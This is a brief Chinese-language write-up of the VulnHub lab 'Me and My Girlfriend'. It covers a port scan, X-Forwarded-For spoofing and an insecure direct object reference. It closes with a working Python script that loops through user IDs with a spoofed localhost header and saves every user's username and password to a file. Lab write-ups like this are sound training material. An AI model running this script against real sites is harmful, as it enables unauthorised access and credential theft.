vulnhub——me_and_my_girlfriend

me and my girlfriend

主机发现

扫描开放端口

访问下80

猜测是xff伪造，伪造下刷新

登录框没啥发现，注册个账号看看

观察到url的id号，那修改id看下是否能越权，发现确实存在

密码虽然是星号，但是可以在源码处查看

burp爆破了一下，大概有这么几个id

抓取用户名和密码

数目少可以手动，但写个脚本还是要方便一些

import requests
from bs4 import BeautifulSoup
import re

file1 = open('file.txt','w')

for i in range(0,15):

    url = 'http://192.168.126.133/?page=profile&user_id={}'.format(i)
    header = {
        'Host': '192.168.126.133',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Connection': 'close',
        'Cookie': 'PHPSESSID=o76t4q433u9e3b639dvkace4c7',
        'Upgrade-Insecure-Requests': '1',
        'X-Forwarded-For': '127.0.0.1'
    }
    res = requests.get(url=url,headers=header).text
    soup = BeautifulSoup(res,'html.parser')
    target = soup.find(id="username")
    target2 = soup.find(id='password')
    username = target.attrs['value']
    password = target2.attrs['value']
    print(str(i),file=file1)
    print(username,file=file1)
    print(password,file=file1)